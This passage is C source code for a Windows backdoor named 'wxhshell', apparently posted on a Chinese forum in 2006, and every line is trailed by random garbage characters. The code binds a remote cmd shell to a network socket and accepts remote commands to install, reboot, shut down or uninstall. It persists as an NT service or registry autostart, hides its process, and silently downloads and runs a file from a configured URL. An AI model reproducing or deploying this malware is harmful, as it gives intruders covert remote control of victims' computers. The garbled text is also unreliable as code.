  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PEW=@xj2y  
  } 'LE =6{#  
  else { }n4V|f-  
#~<0t(3Q  
    switch(cmd[0]) { #g]vc_V  
  3U7 *>H  
  // 帮助 T>NDSami  
  case '?': { j 4^97  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .8by"?**  
    break; *tK\R&4,4s  
  } 5) pj]S!]-  
  // 安装 Z )SY.iK.  
  case 'i': { s]f6/x/~  
    if(Install()) &2{ tF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Rhl f.x  
    else ,}K7Dg^1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >kW@~WDMu  
    break; oz}+T(@O  
    } LdL/399<  
  // 卸载 E.Jkf\  
  case 'r': { Qm Ce>+  
    if(Uninstall()) n}!PO[m~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !& z(:d  
    else .MP !`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O vk_\On  
    break; (A~/'0/  
    } Z2'Bk2 L  
  // 显示 wxhshell 所在路径 1$p2}Bf {n  
  case 'p': { 0 g?z&?  
    char svExeFile[MAX_PATH]; '|Kmq5)  
    strcpy(svExeFile,"\n\r"); .O0 +H+  
      strcat(svExeFile,ExeFile); p(/dBt[3k  
        send(wsh,svExeFile,strlen(svExeFile),0); 'a\%L:`  
    break; G}ob<`o|"  
    } >8qQK r\"  
  // 重启 @ CZ T  
  case 'b': { E: $P=%b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,#L=v]  
    if(Boot(REBOOT)) -T[lx\}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [YUv7|\  
    else { J /f  
    closesocket(wsh); JNJ=e,O,  
    ExitThread(0);  y"H*%]  
    } /Z@tv .f  
    break; UHTvCc  
    } *fn*h[pV&  
  // 关机 W8KDX_vGJ  
  case 'd': { 4<lRPsvgc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wb?8j M  
    if(Boot(SHUTDOWN)) &QGdLXOn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b"vv>Q~U  
    else { V;:jZpG  
    closesocket(wsh); [&#/]Ul'  
    ExitThread(0); 3< 2}V  
    } aD=A^ktx  
    break; SU/BQ3  
    } >VN5`Zlw\C  
  // 获取shell '>' wK.  
  case 's': { 5sx1Zq7  
    CmdShell(wsh); vM*($qpAy  
    closesocket(wsh); iX2]VRNxl  
    ExitThread(0); 5yzv|mrx  
    break; gT#&"aP5S  
  } ,Qe?8En[  
  // 退出 tm#nUw  
  case 'x': { ZI3Nq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #nK>Z[  
    CloseIt(wsh); X0haj~o[  
    break; + EGD.S{  
    } w (/aiV  
  // 离开 #w\~&0  
  case 'q': { t\%HX.8[;%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S'_-G;g.  
    closesocket(wsh); 7:)n$,31FW  
    WSACleanup(); 32/MkuY^u  
    exit(1); DW_1,:,?7l  
    break; }L#_\  
        } $0lD>yu  
  } MBhWMCN2  
  } nysUZB  
OVhE??#  
  // 提示信息 9/ibWa\.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r?Wk<>%>  
} a6WI170^1  
  } /iJ4{p   
c%'RR?Tl  
  return; %|oJ>+  
} k|lcc^[0  
) `A3M)  
// shell模块句柄 :=/>Vbd: )  
int CmdShell(SOCKET sock) n 3D;"a3  
{ d [V;&U  
STARTUPINFO si; o8-^cP1  
ZeroMemory(&si,sizeof(si)); IbP#_Vt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |,!IZ- th  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8$;=Uf,x  
PROCESS_INFORMATION ProcessInfo; Bhp-jq'!B  
char cmdline[]="cmd"; _PlKhv}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )Ccq4i  
  return 0; Z3& _  
} w &(|e <  
f=mZu1(FZ  
// 自身启动模式 O^^C;U@U<1  
int StartFromService(void) qpE&go=k'  
{ 5Drq9B9;  
typedef struct _;UE9S%  
{ \3S8 62B7  
  DWORD ExitStatus;  lS'-xEv?  
  DWORD PebBaseAddress; ` M3w]qJ<}  
  DWORD AffinityMask; zN:K%AiGxe  
  DWORD BasePriority; (KF=On;=Y  
  ULONG UniqueProcessId; Bb}fj28  
  ULONG InheritedFromUniqueProcessId; A3iFI9Iv  
}   PROCESS_BASIC_INFORMATION; }`,t$NV`  
h?;T7|^  
PROCNTQSIP NtQueryInformationProcess; TG+VEL |T  
4*cU<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #[`:'e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vWf; 'j  
< VSA  
  HANDLE             hProcess; @qnD=mE  
  PROCESS_BASIC_INFORMATION pbi; 6w(6}m.L^  
U}PiY"S<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _G.>+!"2/  
  if(NULL == hInst ) return 0; !qN||m CH  
"G@g" gP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mM-8+H?~b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *Ie7{EhJ'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $+3}po\  
X7i/fm{l'  
  if (!NtQueryInformationProcess) return 0; W>p-u6u%E|  
/O^RF}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7El[ >  
  if(!hProcess) return 0; t[oT-r  
ZObhF#Y9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5_z33,q2  
 OP x`u  
  CloseHandle(hProcess); ykX/9y+-s  
naw0$kXTA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fI~Xmw+}}  
if(hProcess==NULL) return 0; Y5FbU  
qh2ON>e;  
HMODULE hMod; \u>"s   
char procName[255]; ^n"OL*ipG  
unsigned long cbNeeded; Bxfc}vC.  
%ve:hym*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  $W9{P;  
$[/&74#0HX  
  CloseHandle(hProcess); 'Ub g0"F(  
!cAyTl(_  
if(strstr(procName,"services")) return 1; // 以服务启动 \&iP`v`K  
`P8Vh+7u  
  return 0; // 注册表启动 B&.FO O  
} u( wGl_  
846$x$G4  
// 主模块 y?a Acn$  
int StartWxhshell(LPSTR lpCmdLine) 3rcKzS7  
{ X90J!  
  SOCKET wsl; r.>].~}4  
BOOL val=TRUE; Z<SLc,]^  
  int port=0; JA'h4AXk  
  struct sockaddr_in door; %JHGiCv|  
R%qGPO5Z\c  
  if(wscfg.ws_autoins) Install(); ^*S)t. "  
@g$Gti  
port=atoi(lpCmdLine); N%"Y  
}`v~I4i  
if(port<=0) port=wscfg.ws_port; "Za >ZRR  
k=B] &F  
  WSADATA data; (jFGa2{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YH%'t= <m  
SOi*SwQ8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oNU0 qZ5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tdSfi<y5I  
  door.sin_family = AF_INET; Ar:*oiU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jp"JafS/E  
  door.sin_port = htons(port); L?Qg#YSd ~  
( |PAx (  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \CXQo4P  
closesocket(wsl); 3`B6w$z>(  
return 1; n;$5Cq!v=  
} QzzW x2  
" 9^j.  
  if(listen(wsl,2) == INVALID_SOCKET) { )6Ny1x+  
closesocket(wsl); 00SbH$SU  
return 1; 2cqI[t@0  
} x7<\] 94  
  Wxhshell(wsl); =}v}my3y"  
  WSACleanup(); L2pp6bW  
%T)oCjM[\  
return 0; kWe{r5C7  
}2uI?i8  
} hvuIxqv!y  
Nv/v$Z{k  
// 以NT服务方式启动  y7$iOR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6C-/`>m  
{ m"fNK$_d  
DWORD   status = 0; y6IXdW  
  DWORD   specificError = 0xfffffff; g|<]B$yN#  
_%B^9Yl3(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @H7Wb}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _=NwQu\_F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }p!HT6 tZ  
  serviceStatus.dwWin32ExitCode     = 0; /u0' 6V  
  serviceStatus.dwServiceSpecificExitCode = 0; NDs!a  
  serviceStatus.dwCheckPoint       = 0; niqN{  
  serviceStatus.dwWaitHint       = 0; q@@T]V6  
6q]5Es<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 72X0Tq 4  
  if (hServiceStatusHandle==0) return; 0qo)."V{  
T.We: ,{  
status = GetLastError(); AjT%]9 V?  
  if (status!=NO_ERROR) Xy@7y[s]  
{ YQpSlCCo 3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h~p>re  
    serviceStatus.dwCheckPoint       = 0; )EL!D%<A  
    serviceStatus.dwWaitHint       = 0; >layJt  
    serviceStatus.dwWin32ExitCode     = status; +> WM[o^I  
    serviceStatus.dwServiceSpecificExitCode = specificError; =Uj-^qcE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "v`   
    return; Z7_ zMM  
  } ~5 *5  
3q'&j, ,^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rc/nFl 6#  
  serviceStatus.dwCheckPoint       = 0; W ]Nv33i [  
  serviceStatus.dwWaitHint       = 0; Ci<ATho  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }yJ$SR]t  
} -,+q#F  
]]&M@FM2z  
// 处理NT服务事件,比如:启动、停止 qWx][D"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (vB<%l.&  
{ @E-\ J7 yh  
switch(fdwControl) * =wYuJ#  
{ qqu.EE  
case SERVICE_CONTROL_STOP: V0%V5>  
  serviceStatus.dwWin32ExitCode = 0; -W<vyNSr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^.hoLwp.  
  serviceStatus.dwCheckPoint   = 0; kf;/c}}  
  serviceStatus.dwWaitHint     = 0; Q^q1 ns;r  
  { ~",`,ZXQy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :{ur{m5bX  
  } 8Y_ol#\L  
  return; 3T e^  
case SERVICE_CONTROL_PAUSE: 9:!gI|C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z-U-N  
  break; '2laTl]`  
case SERVICE_CONTROL_CONTINUE: 2 OwV^-OG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N @#c,,  
  break; EM/@T}  
case SERVICE_CONTROL_INTERROGATE: <TE%Prd}`  
  break; 9{$<0,?  
}; rS?pWTg"8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zt<WXw(  
} Qhw^S*  
%<\6TZr  
// 标准应用程序主函数 !Yw3 d   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TD9;kN1`  
{ b L]erYm  
MzP7Py 8.  
// 获取操作系统版本 OZIW_'Wm/  
OsIsNt=GetOsVer(); 3 HIz9F(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rt{B(L.?<  
oh KCdT~  
  // 从命令行安装 &E4 0* (C  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8>.J1C  
P{5-Mx!{&  
  // 下载执行文件 6}(J6T46M[  
if(wscfg.ws_downexe) { p<&Xd}]"^W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @0eHS +  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4WN3=B  
} dTL5-@  
zOSs[[  
if(!OsIsNt) { rC7``#5  
// 如果时win9x,隐藏进程并且设置为注册表启动 3"kd jOB  
HideProc(); 9Li%KOY  
StartWxhshell(lpCmdLine); ` iJhG^w9M  
} fsEzpUY:{W  
else h@@nR(<i  
  if(StartFromService()) HoLv`JA  
  // 以服务方式启动 Sje wuIi1  
  StartServiceCtrlDispatcher(DispatchTable); JIFU;*PR1  
else #CnHf  
  // 普通方式启动 c(/VYMJZ&  
  StartWxhshell(lpCmdLine); shH~4<15  
Khe!g1=&X  
return 0; iajX~kv  
}
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只看该作者 1 发表于: 2006-10-10
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